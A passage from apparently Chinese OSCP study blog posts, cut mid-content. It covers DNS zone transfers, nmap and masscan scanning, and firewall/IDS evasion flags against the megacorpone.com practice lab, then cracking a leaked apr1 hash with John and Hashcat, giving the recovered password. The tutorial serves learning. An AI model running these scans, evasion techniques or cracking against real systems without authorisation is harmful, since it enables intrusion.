max_count) { 98 max_count = ip_count[ip] 99 max_ip = ip 100 } 101 } 102 printf \u0026#34;IP地址: %s\\n重复次数: %d\\n\u0026#34;, max_ip, max_count 103 }\u0026#39; \u0026#34;$file\u0026#34; 104} 105 106# 处理反向DNS文件 107process_reverse() { 108 local file=\u0026#34;$1\u0026#34; 109 110 # 主域名统计 111 echo -e \u0026#34;\\n\\033[1;34m主域名出现统计:\\033[0m\u0026#34; 112 awk -F, \u0026#39;NR\u0026gt;1 \u0026amp;\u0026amp; $2 != \u0026#34;\u0026#34; { 113 # 提取主域名 114 n = split($2, parts, \u0026#34;.\u0026#34;) 115 if (n \u0026gt; 1) { 116 main_domain = parts[n-1] \u0026#34;.\u0026#34; parts[n] 117 domain_count[main_domain]++ 118 } 119 } END { 120 for (d in domain_count) { 121 printf \u0026#34;%d\\t%s\\n\u0026#34;, domain_count[d], d 122 } 123 }\u0026#39; \u0026#34;$file\u0026#34; | sort -nr | column -t -N \u0026#34;出现次数,主域名\u0026#34; 124 125 # 重复最多的主域名 126 echo -e \u0026#34;\\n\\033[1;34m重复最多的主域名:\\033[0m\u0026#34; 127 awk -F, \u0026#39;NR\u0026gt;1 \u0026amp;\u0026amp; $2 != \u0026#34;\u0026#34; { 128 n = split($2, parts, \u0026#34;.\u0026#34;) 129 if (n \u0026gt; 1) { 130 main_domain = parts[n-1] \u0026#34;.\u0026#34; parts[n] 131 domain_count[main_domain]++ 132 } 133 } END { 134 max_count = 0 135 for (d in domain_count) { 136 if (domain_count[d] \u0026gt; max_count) { 137 max_count = domain_count[d] 138 max_domain = d 139 } 140 } 141 printf \u0026#34;主域名: %s\\n出现次数: %d\\n\u0026#34;, max_domain, max_count 142 }\u0026#39; \u0026#34;$file\u0026#34; 143 144 # 主域名关联的完整域名（美观格式） 145 echo -e \u0026#34;\\n\\033[1;34m主域名关联的完整域名:\\033[0m\u0026#34; 146 awk -F, \u0026#39;BEGIN {print \u0026#34;开始收集域名...\u0026#34;} 147 NR\u0026gt;1 \u0026amp;\u0026amp; $2 != \u0026#34;\u0026#34; { 148 n = split($2, parts, \u0026#34;.\u0026#34;) 149 if (n \u0026gt; 1) { 150 main_domain = parts[n-1] \u0026#34;.\u0026#34; parts[n] 151 if (!(main_domain in domain_list)) { 152 domain_list[main_domain] = $2 153 } else { 154 domain_list[main_domain] = domain_list[main_domain] \u0026#34;,\u0026#34; $2 155 } 156 # print \u0026#34;收集: \u0026#34; $2 \u0026#34; -\u0026gt; \u0026#34; main_domain 157 } 158 } END { 159 print \u0026#34;收集完成，开始输出...\u0026#34; 160 for (d in domain_list) { 161 printf \u0026#34;%s:%s\\n\u0026#34;, d, domain_list[d] 162 } 163 }\u0026#39; \u0026#34;$file\u0026#34; \u0026gt; /tmp/domain_groups.txt 164 165 while IFS=: read -r domain_group domains; do 166 echo -e \u0026#34;\\033[1;32m$domain_group:\\033[0m\u0026#34; 167 pretty_print_domains \u0026#34;$domains\u0026#34; 168 done \u0026lt; /tmp/domain_groups.txt 169 rm -f /tmp/domain_groups.txt 170} 171 172# 根据文件类型执行相应处理 173case \u0026#34;$FILE_TYPE\u0026#34; in 174 subdomain) 175 process_subdomain \u0026#34;$INPUT_FILE\u0026#34; 176 ;; 177 reverse) 178 process_reverse \u0026#34;$INPUT_FILE\u0026#34; 179 ;; 180 *) 181 die \u0026#34;未知文件类型\u0026#34; 182 ;; 183esac 184 185echo -e \u0026#34;\\n\\033[1;32m分析完成!\\033[0m\u0026#34; 区域传输 DNS区域传输基本上是相关DNS服务器之间的数据库复制，其中区域文件从主DNS服务器复制到从DNS服务器。区域文件包含所有DNS的列表为该区域配置的名称。区域传输应该只允许授权的从DNS但是许多管理员错误地配置了他们的DNS服务器，在这些情况下，任何人都问DNS服务器区域通常会收到一个副本。这相当于把公司的网络布局放在硬盘上交给黑客。所有的名字，服务器的地址和功能可能会暴露在窥探者的视线之下。成功的区域传输不会直接导致网络破坏，尽管它确实有助于这个过程（主要是信息泄露）。执行分区传输的host命令语法如下：\n1host -l megacorpone.com ns1.megacorpone.com 可以看到ns2是有区域传输漏洞的。\n此服务器允许区域传输，并提供区域文件的完整转储megacorpone.com域名，提供方便的IP地址列表和相应的DNS主机名! megacorpone.com域需要检查的DNS服务器非常少。然而，一些较大的组织可能托管许多DNS服务器，或者我们可能想要尝试区域传输请求针对给定域中的所有DNS服务器。Bash脚本可以帮助完成这项任务。要尝试使用host命令进行区域传输，我们需要两个参数：名称服务器地址和域名。我们可以使用以下命令获取给定域的名称服务器命令:\n1host -t ns megacorpone.com | cut -d \u0026#34; \u0026#34; -f 4 1#!/bin/bash 2# Simple Zone Transfer Bash Script 3# $1 is the first argument given after the bash script 4# Check if argument was given, if not, print usage 5if [ -z \u0026#34;$1\u0026#34; ]; then 6 echo \u0026#34;[*] Simple Zone transfer script\u0026#34; 7 echo \u0026#34;[*] Usage : $0 \u0026lt;domain name\u0026gt; \u0026#34; 8 exit 0 9fi 10# if argument was given, identify the DNS servers for the domain 11for server in $(host -t ns $1 | cut -d \u0026#34; \u0026#34; -f4); do 12 # For each of these servers, attempt a zone transfer 13 host -l $1 $server |grep \u0026#34;has address\u0026#34; 14done Kali自带的DNS枚举工具 DNSrecon 1sudo apt update \u0026amp;\u0026amp; sudo apt install dnsrecon -y 2dnsrecon -h 3dnsrecon -d megacorpone.com 4dnsrecon -d megacorpone.com -t brt -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt # 子域名暴力破解 5dnsrecon -r 167.114.21.0-167.114.21.255 # 反向爆破 6dnsrecon -d megacorpone.com -t axfr # 区域传送漏洞检测 DNSenum 1dnsenum zonetransfer.me 2dnsenum -f /usr/share/wordlists/dnsmap.txt megacorpone.com 3dnsenum -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt megacorpone.com 7.1.6.3练习 查找megacorpone.com域的DNS服务器。 编写一个小脚本，尝试使用更高级别从megacorpone.com进行区域传输，脚本语言，如Python、Perl或Ruby。 重新创建上面的示例，并使用dnsrecon尝试从megacorpone.com。 2.改写小脚本 完整脚本可以关注我公众号后台回复关键字领取。\npython使用示例：\n# 基本用法 python3 subdomain_finder.py megacorpone.com # 自定义字典和输出 python3 subdomain_finder.py megacorpone.com \\ -w custom.txt \\ -o results.csv 端口扫描 端口扫描是检查远程计算机上的TCP或UDP端口的过程，目的是检测目标上正在运行的服务以及可能存在的潜在攻击媒介。\n在一些网络基础设施落后的国家，简单的扫描就有可能导致网站崩溃（DDOS），所以一些国家将扫描视为违法行为。在中国大多数云服务器都能抗住普通扫描的流量。\nTCP/UDP扫描使用NC TCP扫描 最简单的TCP端口扫描技术通常称为CONNECT扫描，它依赖于三向TCP握手195机制。设计此机制是为了使两个尝试进行通信的主机可以在传输任何数据之前协商网络TCP套接字连接的参数。在没有专门的扫描工具的时候，也可以使用Netcat来改造一下。\n1 nc -nv -w 1 -z 192.168.1.1 3388-3390 2 sudo tshark -i eth0 -f \u0026#34;tcp portrange 3388-3390\u0026#34; UDP扫描 由于UDP是无状态的，并且不涉及三向握手，因此UDP端口扫描的机制不同于TCP。udp是无状态尽力传输协议，没有三次握手机制，使用针对协议的udp扫描提高准确度，发送udp空包，端口开放服务器无响应，端口关闭返回icmp端口不可达。此机制扫描结果不完全准确，但是很多攻击向量（应用处理异常，FW过滤icmp包），而且nc很小，主要是在内网收到限制的时候使用。\n1nc -nv -u -z -w 1 192.168.1.1 160-162 2sudo tshark -i eth0 -f \u0026#34;udp portrange 160-162\u0026#34; Nmap端口扫描 虽然Nmap扫描功能很强大，但是很多的nmap扫描选项需要访问 raw sockets，因此需要sudo执行，否则扫描能力受限。很多防火墙都对Nmap做了限制。\n对防火墙设置一些规则，来观察Nmap产生的流量有多大。\n步骤 1：设置防火墙规则（允许特定 IP 通行） sudo iptables -I INPUT 1 -s 38.100.193.70 -j ACCEPT sudo iptables -I OUTPUT 1 -d 38.100.193.70 -j ACCEPT 作用：\n允许来自 38.100.193.70 的入站流量（INPUT 链）。 允许发送到 38.100.193.70 的出站流量（OUTPUT 链）。 目的：确保后续 nmap 扫描不会被防火墙拦截，同时防火墙会记录流量统计。注意 38.100.193.70 是OSCP官方给的练手网站的IP地址，这个IP是会变动的，请根据host的结果调整。\n步骤 2：重置防火墙计数器 sudo iptables -Z 作用：清零所有 iptables 规则的流量计数器（包数 pkts 和字节数 bytes）。 目的：为后续扫描流量统计做准备，确保计数从零开始。 步骤 3：执行第一次端口扫描（默认扫描） sudo nmap 38.100.193.70 作用：扫描目标 IP 的 常用 1000 个端口。 目的：触发与目标 IP 的网络通信，防火墙会记录流量。 步骤 4：查看流量统计（第一次） sudo iptables -vn -L 作用：查看防火墙规则详情：\n-v：显示详细计数（包数、字节数）。 -n：不解析 IP 和端口（直接显示数字）。\n步骤 5：再次重置计数器 sudo iptables -Z 目的：为第二次扫描准备干净的计数起点。 步骤 6：执行第二次端口扫描（全端口扫描） nmap -p- 38.100.193.70 作用：扫描目标 IP 的 全端口（1-65535），此操作耗时较长（约 10-30 分钟）。 目的：触发更大规模的流量，对比两次扫描的流量差异。 步骤 7：查看最终流量统计 sudo iptables -vn -L 作用：显示第二次扫描后的流量统计。\n目的：\n比较 pkts 和 bytes 与第一次扫描的差异（全端口扫描的流量更大）。\n验证防火墙规则是否正确捕获流量。\n结束后清理规则 # 删除添加的规则（避免影响后续操作） sudo iptables -D INPUT -s 38.100.193.70 -j ACCEPT sudo iptables -D OUTPUT -d 38.100.193.70 -j ACCEPT C段全端口扫描大约消耗1gb流量，大段扫描的时候应该考虑带宽、速度、流量等问题。如果大量的去扫，还没有挂代理池的情况下，你短时间目标防火墙接搜到一个G的流量，百分百会反制封锁你的IP地址。一般扫描，最好挂代理，或者IP伪造（治标不治本），在这种情况下才可以做大量的暴力扫描，不然很容易出事。\nNmap的SYN“隐蔽”扫描 Nmap默认使用SYN扫描，不完成三次握手，信息未达应用层，不产生应用层日志（网络层检测），快速。现代防火墙普遍具有半开连接的检测能力，所谓的隐蔽扫描，一点都不隐蔽，反倒是对小白有误导。\n1. 什么是 SYN 扫描 (-sS)? TCP 连接建立基础：\n正常的 TCP 连接需要完成“三次握手”：\n客户端 -\u0026gt; 服务器：发送 SYN 包 (请求建立连接) 服务器 -\u0026gt; 客户端：发送 SYN-ACK 包 (同意建立连接) 客户端 -\u0026gt; 服务器：发送 ACK 包 (确认连接建立，数据可开始传输) SYN 扫描的原理：\nNmap 扮演客户端，向目标端口发送一个伪造源地址的 SYN 包 (第 1 步)。 如果目标端口 开放：目标主机会回应一个 SYN-ACK 包 (第 2 步)。 关键点来了：Nmap 看到 SYN-ACK 回应后，不会发送完成握手的 ACK 包 (第 3 步)！相反，它发送一个 RST (复位) 包来立即终止这个半开的连接。 如果目标端口 关闭：目标主机会回应一个 RST 包。 如果目标端口 被过滤（防火墙拦截）：Nmap 通常收不到任何回应，或者收到 ICMP 错误消息。 为何在应用层“隐蔽”：\n由于 Nmap 没有发送最后的 ACK 来完成握手，TCP 连接从未真正建立。 因此，目标端口上监听的应用程序服务程序（如 Web 服务器、数据库服务）根本没有被激活。操作系统内核的网络协议栈在处理到 SYN-ACK 回复这一步后就因为收到 RST 而终止连接。 结果：应用层日志里通常找不到这次扫描的记录。 应用服务完全不知道有人尝试连接过。 2. 为何“对小白有误导”？为什么说“一点都不隐蔽”？ 虽然 SYN 扫描避开了应用层日志，但这并不意味着它在网络层面是隐蔽的或不留下痕迹。主要的误导在于初学者可能会认为“不在应用日志里 == 完全隐身”。这是错误的认知。\n现代防火墙/IDS/IPS 的检测能力： 状态检测 (Stateful Inspection)： 这是现代防火墙最基本、最核心的功能之一。防火墙会跟踪所有连接的状态。当它看到一个进来的 SYN 包，但随后看到的是客户端的 RST 包（而不是正常的 ACK）时，它就知道这个连接没有完成正常的三次握手。这是一个非常明显的异常行为特征。 检测 SYN 扫描模式： 高级安全设备会分析网络流量模式。短时间内（几秒或几分钟内）向大量不同端口发送 SYN 包，并且每个连接都停留在“半开”状态（即没有后续的 ACK），这极其符合 SYN 端口扫描的特征模式。安全设备可以很容易地通过这种流量特征或速率检测出扫描行为。 记录和告警： 虽然应用层服务没日志，但防火墙、入侵检测系统 (IDS)、入侵防御系统 (IPS) 和专业的网络安全监控 (NSM) 平台非常擅长检测、记录和产生大量的告警来报告 SYN 扫描活动。这些日志和告警通常包含源 IP、时间戳、扫描的端口数量等信息。 生成“防火墙日志”： 防火墙会记录这些被检测到的扫描包（丢弃的或被接受的半开连接），而这些日志是网络管理员和安全分析师最常查看的地方。 总结 “一点都不隐蔽”： 虽然 SYN 扫描避开了最表层（应用日志），但它在网络层/传输层留下了极其清晰、易于被现代安全设备识别的特征指纹。在稍有安全防护措施的网络中，这样的扫描就像是黑夜里点燃的信号弹一样明显。安全运维人员第一时间就能看到防火墙或 SIEM 系统发出的 SYN Flood 或端口扫描告警。 3. 怎么达到（相对）隐蔽的目的？ 绝对的隐蔽在互联网扫描中几乎是不可能的。防御方有多种手段（流量监控、蜜罐、ISP 合作等）来检测扫描活动。我们的目标通常是降低检测率、减少告警噪音、延缓被发现的时间、避免被轻易追踪或封禁。一些更隐蔽的扫描技术包括：\nFIN 扫描 (-sF)， NULL 扫描 (-sN)， Xmas 扫描 (-sX): 原理： 利用 TCP RFC 规定的一个“小漏洞”：当一个关闭的端口收到不携带 SYN、ACK 或 RST 标志位的怪异包（如只带 FIN、只带 NULL 标志、或者组合了 FIN/URG/PSH 像圣诞树灯一样 - 故名 Xmas）时，应该回复一个 RST 包。而开放的端口则应该忽略这种不符合连接状态的包，不回复。 相对隐蔽性： 这种扫描不会尝试建立连接（没有 SYN 包），不是半开连接。它们更像是“敲门试探”。状态防火墙跟踪连接状态时，这些包属于不连接任何现有流量的“异常包”，更难以被仅依赖状态检测的设备识别为扫描（虽然专门检测端口扫描的设备仍然可能抓到）。它们模仿的是连接关闭后残留的迷途包。 局限性： 很多非 Unix 系统（如 Windows）的 TCP 栈不严格遵守 RFC，无论端口开放与否，都一律回复 RST。这使得这些扫描对 Windows 主机无效。效果高度依赖于目标系统实现。 ACK 扫描 (-sA): 原理： 只发送一个设置了 ACK 位的 TCP 包（通常这是三次握手之后的数据包才会有的标志）。不开放端口的防火墙或无状态防火墙会允许 ACK 到达主机，主机根据本地连接状态（肯定没有这个连接）回复一个 RST。而开放端口且配置了严格状态防火墙的服务器可能会直接丢弃这个 ACK，或者服务器回复 RST 但防火墙阻止了（取决于防火墙规则）。 目的： 主要用于探测目标主机防火墙的状态和规则（是否有状态检测？是否过滤入站包？是否屏蔽特定端口？），而不是直接判断端口开放与否（虽然可以通过是否有 RST 回复间接推断端口是否被防火墙过滤）。本身不那么像端口扫描，更像是网络设备探测。 相对隐蔽性： 单个 ACK 包在大量合法流量中不太起眼。不易被简单的 SYN 扫描检测规则发现。 Idle / Zombie 扫描 (-sI)： 原理： 这是最隐蔽的扫描技术之一。利用一个网络上的空闲主机（僵尸/Zombie）的 IP 标识值 (IP ID) 来间接推断目标端口的开放状态。整个过程 Nmap 自身 IP 完全不直接与目标主机通信，所有通信都由 Zombie 发起（或对 Zombie 发起的伪造包做出响应）。 相对隐蔽性： 极高的隐蔽性。目标主机看到的扫描来源是 Zombie 主机，而不是你的扫描机（源 IP 欺骗）。目标主机与 Zombie 主机之间的交互（探测包）更像是正常的、零星的网络试探。 复杂性和局限性： 实施非常复杂（需要找到合适的 Zombie 主机，其 IP ID 需是可预测增长的），成功率受很多因素影响（Zombie 的网络活动、路由过滤等）。效率较低。 降低检测率的关键策略 (与扫描技术结合使用)： 极慢速率 (--scan-delay, --max-rate): 将扫描速度降至非常低（如每秒甚至每分钟几个包），模仿正常用户的间歇性访问，融入背景噪声。这是最有效的隐蔽手段之一，但耗时极长。 分散时间 (-T ): 使用 -T 0 (Paranoid) 或 -T 1 (Sneaky) 等最慢的时序模板，人为引入大量随机延迟。 诱饵扫描 (-D)： 指定多个诱饵 IP（-D decoy1,decoy2,decoy3,ME）。这样目标会看到来自大量不同 IP 的扫描（包括诱饵和你的真实 IP），增加了追踪真实源的难度。需要诱饵 IP 确实存在且在网络上可达才能有效混淆。 源端口伪装 (-g/--source-port)： 使用常见的、被认为合法的源端口（如 HTTP/80, DNS/53），有时可以骗过非常简陋的基于端口号的过滤规则。 分片扫描 (-f, --mtu)： 将扫描包分片发送，增加防火墙/IDS 重组和分析内容的难度（但很多设备能重组分片）。 使用代理链或 Tor： 通过层层代理或 Tor 网络进行扫描，隐藏扫描源的真实 IP 地址。Tor 出口节点 IP 容易被封禁且扫描速度极慢。 总结 SYN 扫描 (-sS) 原理： 发送 SYN，接收 SYN-ACK 后立即发送 RST，制造“半开连接”，不建立完整连接，避开应用层日志。 误导性/不隐蔽： 因其明显的“短时间大量半开连接”特征，极易被现代状态防火墙、IDS/IPS 通过状态跟踪和流量模式分析检测到并告警。它在网络防御层留下的痕迹非常深，对新手造成了“应用层没日志=没人发现”的错误印象。 （相对）隐蔽方法： 使用非常规扫描类型 (FIN, NULL, Xmas, ACK, Idle/Zombie)，并最重要的结合极慢的扫描速率 (--scan-delay, -T 0/1)，辅以诱饵 (-D)、源端口伪装 (-g) 或代理/Tor 等策略。“慢”常常是最大的隐蔽武器。 但记住，没有扫描是真正完全隐形的。 扫描命令：\n1sudo nmap 38.100.193.70 -sS 2sudo nmap 38.100.193.70 -sT 3sudo nmap 38.100.193.70 -sU 4sudo nmap 38.100.193.70 -sS -sU 5sudo nmap 38.100.193.70 -sn 6sudo nmap 38.100.193.70 -O 7sudo nmap 38.100.193.70 -sV -A 8sudo nmap 38.100.193.70 --script = smb-os-discovery 9sudo nmap 38.100.193.70 --script = dns-zone-transfer 命令解析 sudo nmap 38.100.193.70 -sS\n作用：TCP SYN 扫描（半开扫描）。 原理：发送 SYN 包，收到 SYN-ACK 即判断端口开放（不完成三次握手），速度快且隐蔽（不触发应用层日志）。 权限：需要 sudo（需构造原始数据包）。 sudo nmap 38.100.193.70 -sT\n作用：TCP 连接扫描。 原理：完成完整的三次握手。速度慢但准确性高，适用于无 sudo 权限时，但会触发应用层日志。 sudo nmap 38.100.193.70 -sU\n作用：UDP 扫描。 原理：向 UDP 端口发送探测包，通过响应判断状态（如 DNS/DHCP 服务）。速度极慢（UDP 无响应重传机制）。 sudo nmap 38.100.193.70 -sS -sU\n作用：组合 TCP SYN 扫描 + UDP 扫描。 用途：全面检测目标机器的 TCP/UDP 开放端口。 sudo nmap 38.100.193.70 -sn\n作用：主机发现（Ping 扫描）。 原理：不扫描端口，仅检测目标是否在线（使用 ARP/ICMP/TCP 等协议探测）。 sudo nmap 38.100.193.70 -O\n作用：操作系统指纹识别。 原理：通过 TCP/IP 协议栈行为（如 TTL 值、窗口大小）推测目标操作系统。 sudo nmap 38.100.193.70 -sV -A\n作用：全面扫描组合。\n-sV：服务版本探测。 -A：启用 OS 识别、版本探测、脚本扫描和路由跟踪。 输出：开放端口、服务版本、操作系统、可能漏洞。\nsudo nmap 38.100.193.70 --script=smb-os-discovery\n作用：使用 NSE 脚本 smb-os-discovery 获取 Windows/Samba 系统的操作系统信息。 用途：识别 SMB 服务的主机名、系统版本等。 sudo nmap 38.100.193.70 --script=dns-zone-transfer\n作用：使用 NSE 脚本 dns-zone-transfer 尝试 DNS 域传送。 用途：检测 DNS 服务器配置错误（泄露所有域名记录）。 推荐组合命令 1. 快速扫描（基础端口 + 服务识别） sudo nmap -T4 -F -sV 38.100.193.70 -T4：高速模式（牺牲隐蔽性换速度）。 -F：扫描前 100 个常见端口。 -sV：探测服务版本。 用途：快速获取目标基础信息。 2. 全面扫描（全端口 + 深度探测） sudo nmap -p- -sS -sV -O -A --script=vuln 38.100.193.70 -p-：扫描 1-65535 所有端口。 --script=vuln：运行漏洞检测脚本（如 http-vuln*, smb-vuln*）。 耗时：较长（约 30-60 分钟），但信息全面。 3. 隐蔽扫描（避免触发告警） sudo nmap -T2 -sS -Pn --scan-delay 1s --randomize-hosts 38.100.193.70 -T2：慢速模式（降低流量特征）。 -Pn：跳过主机发现（假设目标在线）。 --scan-delay 1s：每个包间隔 1 秒。 --randomize-hosts：随机扫描顺序。 用途：规避基础 IDS/防火墙检测。 4. UDP 关键服务扫描 sudo nmap -sU -p 53,67,68,123,161,162 38.100.193.70 扫描 DNS（53）、DHCP（67/68）、NTP（123）、SNMP（161/162）等关键 UDP 服务。 优化：避免全端口 UDP 扫描（耗时过长）。 5. Web 专项扫描 sudo nmap -p 80,443,8080 --script=http-title,http-enum,http-shellshock 38.100.193.70 探测 HTTP 服务标题、目录枚举、Shellshock 漏洞。 可结合 gobuster 或 nikto 进行深度扫描。 6. 防火墙绕过扫描 sudo nmap -f --mtu 24 -D RND:10 -g 53 --proxies socks4://proxy_ip:1080 38.100.193.70 -f：分片数据包。 -D RND:10：添加 10 个随机诱饵 IP。 -g 53：伪装源端口为 DNS（53）。 --proxies：通过代理扫描。 用途：绕过防火墙/IP 封禁。 Nmap 常用技巧 保存输出：\nnmap -oN report.txt -oX report.xml 38.100.193.70 # 文本/XML 格式 nmap -oG - 38.100.193.70 | grep \u0026#34;open\u0026#34; # 提取开放端口 对比扫描结果：\nndiff scan1.xml scan2.xml # 检测目标变化 搜索 NSE 脚本：\nls /usr/share/nmap/scripts/*http* # 查找 HTTP 相关脚本 nmap --script-help=http-vuln* # 查看脚本帮助 推荐进阶组合命令 1. 高效主机发现 + 服务扫描 # 先快速发现存活主机 nmap -sn 38.100.193.70-254 -oG live_hosts.txt # 提取IP后扫描TOP100端口 grep Up live_hosts.txt | cut -d\u0026#34; \u0026#34; -f2 \u0026gt; targets.txt nmap -sT -A --top-ports 100 -iL targets.txt -oA full_scan 2. 隐蔽式主机发现（避开防火墙） nmap -Pn -sn --disable-arp-ping --packet-trace \\ --scan-delay 2s 38.100.193.0/24 -Pn：跳过主机发现（假设所有主机在线） --disable-arp-ping：禁用ARP探测 --packet-trace：显示发送的数据包 3. 关键服务快速定位 nmap -p21,22,80,443,3389 -sT --open 38.100.193.70-254 -oG key_services.txt --open：仅显示开放端口 目标端口：FTP/SSH/Web/RDP等核心服务 实用技巧 # 1. 将扫描结果导入Metasploit cat top-port-sweep.txt | awk \u0026#39;/Up/{print $2}\u0026#39; \u0026gt; hosts.txt msfconsole -qx \u0026#34;db_import hosts.txt; services\u0026#34; # 2. 生成拓扑图（需Nmap编译图形支持） nmap -sn --traceroute --packet-trace 38.100.193.0/24 -oX netmap.xml xsltproc netmap.xml -o topology.html Masscan快速网络扫描 为扫描整个互联网而设计，六分钟扫描整个互联网，每秒发送一千万个包，masscan实现了自定义的tcp/ip栈堆需要使用sudo权限。\nsudo apt install masscan sudo masscan -p80 192.168.1.0/8 sudo macscan -p80 192.168.1.0/24 --rate=1000 -e tap0 --router -ip 192.168.1.1 命令解析 1. sudo masscan -p80 192.168.1.0/8 作用：对超大型网络进行快速端口扫描\n关键参数：\n-p80：只扫描80端口（HTTP服务） 192.168.1.0/8：扫描整个B类私有网络（192.0.0.0 - 192.255.255.255），包含 1677万台主机 执行流程：\n不进行主机发现，直接扫描目标端口 通过SYN扫描发送TCP SYN包到目标80端口 收到SYN/ACK响应则标记为开放 风险：\n扫描范围过大可能导致网络拥塞 可能触发大规模安全告警\n2. sudo masscan -p80 192.168.1.0/24 --rate=1000 -e tap0 --router-ip 192.168.1.1 作用：对特定子网进行精确控制的扫描\n修正：应为masscan（非macscan）\n关键参数：\n-p80：扫描80端口 192.168.1.0/24：扫描C类子网（254个主机） --rate=1000：限速1000包/秒 -e tap0：使用特定虚拟网络接口 --router-ip 192.168.1.1：指定网关IP用于ARP解析 执行流程：\n向网关192.168.1.1发送ARP请求 获取目标主机MAC地址 通过tap0接口发送定制SYN包 严格按1000包/秒速率扫描 Masscan 核心优势 特性 Masscan Nmap 扫描速度 100万包/秒 数千包/秒 大型网络处理 内置分片处理 需要手动分割 资源消耗 低内存占用 较高内存占用 扫描精度 端口状态检测 完整协议栈交互 隐蔽性 无状态扫描 有状态检测 Masscan 实用用法示例 1. 基础扫描 # 扫描单个IP的TOP100端口 sudo masscan 203.0.113.1 -p0-65535 --top-ports 100 # 扫描网段的多端口（HTTP/HTTPS） sudo masscan 192.168.1.0/24 -p80,443,8000-8100 2. 精准速率控制 # 限制扫描速率（避免触发防火墙） sudo masscan 10.0.0.0/16 -p22 --rate=500 # 500包/秒 # 随机化扫描顺序 sudo masscan 192.168.0.0/24 -p80 --randomize-hosts 3. 大型网络扫描优化 # 分布式扫描（多文件分片） sudo masscan 172.16.0.0/12 -p443 --shard 1/10 # 第1/10片段 sudo masscan 172.16.0.0/12 -p443 --shard 2/10 # 第2/10片段 # 保存/恢复扫描进度 sudo masscan -p80 10.0.0.0/8 -oJ scan.json --resume paused.conf 4. 结果输出与处理 # XML格式输出（兼容Nmap工具） sudo masscan 192.168.1.0/24 -p1-100 -oX scan.xml # 提取开放端口IP sudo masscan -p443 203.0.113.0/24 -oG - | grep \u0026#39;open\u0026#39; | awk \u0026#39;{print $4}\u0026#39; # 生成可视化报告 masscan -p80 192.168.1.0/24 -oX scan.xml nmap-parse-output scan.xml html \u0026gt; report.html 5. 绕过防火墙技巧 # 伪装源端口（使用53端口发送） sudo masscan -p80 203.0.113.0/24 --source-port 53 # 使用代理链扫描 proxychains masscan -p443 198.51.100.0/24 # 分片数据包 sudo masscan -p22 192.168.1.0/24 --mtu 512 使用场景对比 场景 推荐命令 快速资产发现 masscan -p80,443 10.0.0.0/8 --rate=10000 精确服务扫描 nmap -sV -O 192.168.1.1-100 超大型网络端口普查 masscan 203.0.113.0/24 --shard 1/50 内网隐蔽扫描 nmap -T2 -sS -Pn --scan-delay 500ms 注意事项 法律合规：扫描前必须获得明确授权 带宽控制：使用--rate参数避免网络瘫痪 结果验证：Masscan结果需用Nmap二次验证 持久扫描：大型网络使用--resume保存进度 更新数据库：定期apt update \u0026amp;\u0026amp; apt upgrade masscan获取最新指纹库 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n扫描下方二维码，马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-07-06T23:45:46Z","image":"https://static.offsec.com/media/lms/content_tags/Course-PEN-200.png","permalink":"/post/day18-kali%E4%B8%BB%E5%8A%A8%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/","title":"Day18 Kali主动信息收集DNS"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n上一篇文章中，我们用google语法搜索了Github上的该公司的员工信息\n1site:github.com \u0026#34;megacorpone.com\u0026#34; 找到网页 https://github.com/megacorpone\n找到文件megacorpone/xampp.users 发现疑似密码字段\n1trivera:$apr1$A0vSKwao$GV3sgGAj53j.c3GkS4oUC0 密码破解与爆破 🔍 一、哈希结构分析 加密字符串格式为： trivera:$apr1$A0vSKwao$GV3sgGAj53j.c3GkS4oUC0\n$apr1$：标识 Apache 特定的 MD5 算法变种（加盐迭代）\nA0vSKwao：8字符盐值（Salt）\nGV3sgGAj...：实际哈希值\n⚙️ 二、Kali 破解方法 方法 1：John the Ripper（推荐） 步骤：\n创建哈希文件hash.txt，内容为：\n1trivera:$apr1$A0vSKwao$GV3sgGAj53j.c3GkS4oUC0 启动破解（自动识别apr1格式）：\n1john --format=md5crypt-long hash.txt 2# 或显式指定格式 3john --format=apr1 hash.txt 使用字典加速（如 Kali 内置rockyou.txt）：\n1john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt 查看结果：\n1john --show hash.txt 2# 输出示例：trivera:password123 爆破得到密码trivera:Tanya4life可能是ssh登录的。\n方法 2：Hashcat（GPU 加速） 提取哈希部分（移除用户名和盐标识）：\n1echo \u0026#39;$apr1$A0vSKwao$GV3sgGAj53j.c3GkS4oUC0\u0026#39; \u0026gt; hash.txt 启动破解（-m 1600对应apr1模式）：\n1hashcat -m 1600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt 查看结果：\n1hashcat --show -m 1600 hash.txt ⚡ 三、性能优化技巧 字典选择：\n优先使用rockyou.txt（需解压）：\n1sudo gzip -d /usr/share/wordlists/rockyou.txt.gz 自定义字典：结合目标信息生成（如公司名、日期等）\n规则扩展： 在 Hashcat 中使用规则增强字典覆盖：\n1hashcat -m 1600 -a 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule 暴力破解（最后手段）：\n1# 尝试 6-8 位小写字母+数字 2hashcat -m 1600 -a 3 hash.txt ?l?l?l?l?l?l?d?d --increment ⚠️ 四、注意事项 合法性：仅限破解自有或授权数据！\n成功率：\n简单密码（如password123）可能在几分钟内破解 复杂密码（12位+特殊字符）需数天甚至不可行 算法特性：\napr1基于 MD5，但迭代 1000 次增加破解难度\n盐值（A0vSKwao）防止彩虹表攻击\n💡 提示：若以上方法失败，可尝试组合工具（如先用 John 初步筛选，再用 Hashcat GPU 深度破解）。\n📚 附：相关命令速查 操作 John the Ripper Hashcat 基础破解 john hash.txt hashcat -m 1600 hash.txt dict 指定字典 john --wordlist=dict.txt hash.txt hashcat -a 0 hash.txt dict 显示结果 john --show hash.txt hashcat --show -m 1600 hash.txt 建议优先使用 John the Ripper 进行快速尝试，复杂场景切换 Hashcat + GPU 加速。\nGitleaks和GitRob使用方法 一、GitLeaks：敏感信息检测工具 核心功能 扫描 Git 仓库中的硬编码密码、API 密钥、令牌等敏感信息，支持本地仓库、远程仓库及 CI/CD 集成。\n安装方法 Kali安装\n1sudo apt install 